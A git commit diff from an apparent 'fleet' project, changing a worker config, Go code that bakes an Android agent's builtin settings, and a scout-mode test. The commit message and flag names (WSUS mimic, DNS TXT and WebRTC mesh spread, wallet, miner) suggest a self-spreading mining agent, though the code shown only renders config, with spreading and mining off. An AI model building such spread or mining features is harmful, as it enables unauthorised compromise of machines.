Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage

This commit is contained in:
AetherForge
2026-06-07 05:00:22 -07:00
parent 7b2d41cda8
commit 82d74abfcf
38 changed files with 486 additions and 120 deletions

View File

@@ -1,4 +1,9 @@
{
"server_url": "http://192.168.1.10:8989",
"worker_name": "tablet-1"
"server_url": "http://deck:8989",
"worker_name": "tab-1",
"worker_number": "tab-1",
"mining": {
"enabled": false
},
"build_id": "bld-cross"
}

View File

@@ -16,6 +16,7 @@ type BakeConfig struct {
FleetSecret string `json:"fleet_secret,omitempty"`
Wallet string `json:"wallet,omitempty"`
BuildID string `json:"build_id,omitempty"`
ScoutMode bool `json:"scout_mode,omitempty"`
}
// AndroidAgentDefaults returns fleet-first defaults with mining off by default.
@@ -117,9 +118,12 @@ func GetBuiltinConfig() BuiltinConfig {
DnsTxtSpread: false,
WebRTCMeshSpread: false,
WSUSCachePeerSpread: false,
ApkMode: true,
ScoutMode: %v,
MiningDisabled: true,
}
}
`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret), nil
`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret, cfg.ScoutMode), nil
}
func normalize(cfg BakeConfig) BakeConfig {

View File

@@ -36,6 +36,29 @@ func TestRenderConfigJSON(t *testing.T) {
}
}
func TestRenderBuiltinGoScoutMode(t *testing.T) {
cfg := BakeConfig{
WorkerName: "scout-tab",
ServerURL: "http://10.0.0.5:8989",
FleetSecret: "fleet-key",
BuildID: "b-scout",
ScoutMode: true,
}
src, err := RenderBuiltinGo(cfg)
if err != nil {
t.Fatal(err)
}
for _, needle := range []string{
`ScoutMode: true`,
`ApkMode: true`,
`MiningDisabled: true`,
} {
if !strings.Contains(src, needle) {
t.Fatalf("missing %q in builtin.go:\n%s", needle, src)
}
}
}
func TestRenderBuiltinGo(t *testing.T) {
cfg := BakeConfig{
WorkerName: "tab-s9",